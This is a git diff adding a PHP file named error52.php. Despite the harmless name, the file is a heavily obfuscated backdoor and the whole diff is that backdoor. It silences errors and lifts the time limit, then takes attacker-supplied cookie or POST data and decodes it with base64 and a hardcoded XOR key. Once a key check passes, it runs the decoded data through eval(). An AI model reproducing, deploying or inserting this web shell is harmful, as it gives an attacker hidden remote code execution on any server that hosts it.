diff --git a/php/error52.php b/php/error52.php
new file mode 100644
index 0000000..22863ef
--- /dev/null
+++ b/php/error52.php
@@ -0,0 +1,79 @@
+<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['a1f44'] = "\x35\x27\x9\x59\x7a\x55\x48\x7d\x51\x37\xd\x38\x67\x32\x40\x4a\x2c\x4d\x4c\x20\x30\x60\x5e\x3b\x73\x6f\x29\x4b\x5c\x53\x49\x2a\x31\x61\x71\x2d\x25\x50\xa\x64\x24\x78\x77\x33\x3e\x2e\x62\x6d\x79\x36\x75\x52\x44\x63\x76\x7c\x47\x70\x5f\x42\x3d\x65\x43\x6e\x56\x5d\x2b\x4e\x46\x41\x45\x22\x3c\x6b\x66\x3f\x3a\x21\x6a\x6c\x5a\x68\x4f\x57\x2f\x26\x7e\x72\x34\x58\x74\x5b\x23\x39\x7b\x28\x69\x54";
+$GLOBALS[$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][46]] = $GLOBALS['a1f44'][53].$GLOBALS['a1f44'][81].$GLOBALS['a1f44'][87];
+$GLOBALS[$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][11]] = $GLOBALS['a1f44'][25].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][39];
+$GLOBALS[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][74]] = $GLOBALS['a1f44'][24].$GLOBALS['a1f44'][90].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][79].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][63];
+$GLOBALS[$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][9]] = $GLOBALS['a1f44'][96].$GLOBALS['a1f44'][63].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][90];
+$GLOBALS[$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][93]] = $GLOBALS['a1f44'][24].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][79].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][61];
+$GLOBALS[$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][74]] = $GLOBALS['a1f44'][57].$GLOBALS['a1f44'][81].$GLOBALS['a1f44'][57].$GLOBALS['a1f44'][54].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][63];
+$GLOBALS[$GLOBALS['a1f44'][63].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][32]] = $GLOBALS['a1f44'][50].$GLOBALS['a1f44'][63].$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][79].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][61];
+$GLOBALS[$GLOBALS['a1f44'][73].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][46]] = $GLOBALS['a1f44'][46].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][61];
+$GLOBALS[$GLOBALS['a1f44'][81].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][11]] = $GLOBALS['a1f44'][24].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][90].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][90].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][79].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][90];
+$GLOBALS[$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][9]] = $GLOBALS['a1f44'][90].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][46];
+$GLOBALS[$GLOBALS['a1f44'][57].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][43]] = $GLOBALS['a1f44'][53].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][13];
+$GLOBALS[$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][0]] = $_POST;
+$GLOBALS[$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][46]] = $_COOKIE;
+@$GLOBALS[$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][9]]($GLOBALS['a1f44'][61].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][79].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][12], NULL);
+@$GLOBALS[$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][9]]($GLOBALS['a1f44'][79].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][12].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][87].$GLOBALS['a1f44'][24], 0);
+@$GLOBALS[$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][9]]($GLOBALS['a1f44'][47].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][41].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][41].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][50].$GLOBALS['a1f44'][90].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][25].$GLOBALS['a1f44'][63].$GLOBALS['a1f44'][58].$GLOBALS['a1f44'][90].$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][61], 0);
+@$GLOBALS[$GLOBALS['a1f44'][81].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][11]](0);
+
+$h708c90 = NULL;
+$t6c1c36 = NULL;
+
+$GLOBALS[$GLOBALS['a1f44'][41].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][88]] = $GLOBALS['a1f44'][74].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][35].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][35].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][35].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][35].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][88];
+global $xd94;
+
+function cb82($h708c90, $j48a7bce7)
+{
+    $i7573ae = "";
+
+    for ($gfb379b=0; $gfb379b<$GLOBALS[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][74]]($h708c90);)
+    {
+        for ($wab6680=0; $wab6680<$GLOBALS[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][74]]($j48a7bce7) && $gfb379b<$GLOBALS[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][74]]($h708c90); $wab6680++, $gfb379b++)
+        {
+            $i7573ae .= $GLOBALS[$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][46]]($GLOBALS[$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][11]]($h708c90[$gfb379b]) ^ $GLOBALS[$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][11]]($j48a7bce7[$wab6680]));
+        }
+    }
+
+    return $i7573ae;
+}
+
+function tb1b($h708c90, $j48a7bce7)
+{
+    global $xd94;
+
+    return $GLOBALS[$GLOBALS['a1f44'][57].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][43]]($GLOBALS[$GLOBALS['a1f44'][57].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][43]]($h708c90, $xd94), $j48a7bce7);
+}
+
+foreach ($GLOBALS[$GLOBALS['a1f44'][96].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][46]] as $j48a7bce7=>$y728f25)
+{
+    $h708c90 = $y728f25;
+    $t6c1c36 = $j48a7bce7;
+}
+
+if (!$h708c90)
+{
+    foreach ($GLOBALS[$GLOBALS['a1f44'][4].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][0].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][0]] as $j48a7bce7=>$y728f25)
+    {
+        $h708c90 = $y728f25;
+        $t6c1c36 = $j48a7bce7;
+    }
+}
+
+$h708c90 = @$GLOBALS[$GLOBALS['a1f44'][63].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][39].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][43].$GLOBALS['a1f44'][32]]($GLOBALS[$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][11].$GLOBALS['a1f44'][53].$GLOBALS['a1f44'][32].$GLOBALS['a1f44'][49].$GLOBALS['a1f44'][13].$GLOBALS['a1f44'][9]]($GLOBALS[$GLOBALS['a1f44'][73].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][46].$GLOBALS['a1f44'][61].$GLOBALS['a1f44'][88].$GLOBALS['a1f44'][46]]($h708c90), $t6c1c36));
+if (isset($h708c90[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][73]]) && $xd94==$h708c90[$GLOBALS['a1f44'][33].$GLOBALS['a1f44'][73]])
+{
+    if ($h708c90[$GLOBALS['a1f44'][33]] == $GLOBALS['a1f44'][96])
+    {
+        $gfb379b = Array(
+            $GLOBALS['a1f44'][57].$GLOBALS['a1f44'][54] => @$GLOBALS[$GLOBALS['a1f44'][47].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][93].$GLOBALS['a1f44'][74]](),
+            $GLOBALS['a1f44'][24].$GLOBALS['a1f44'][54] => $GLOBALS['a1f44'][32].$GLOBALS['a1f44'][45].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][35].$GLOBALS['a1f44'][32],
+        );
+        echo @$GLOBALS[$GLOBALS['a1f44'][24].$GLOBALS['a1f44'][20].$GLOBALS['a1f44'][9].$GLOBALS['a1f44'][74].$GLOBALS['a1f44'][93]]($gfb379b);
+    }
+    elseif ($h708c90[$GLOBALS['a1f44'][33]] == $GLOBALS['a1f44'][61])
+    {
+        eval($h708c90[$GLOBALS['a1f44'][39]]);
+    }
+    exit();
+}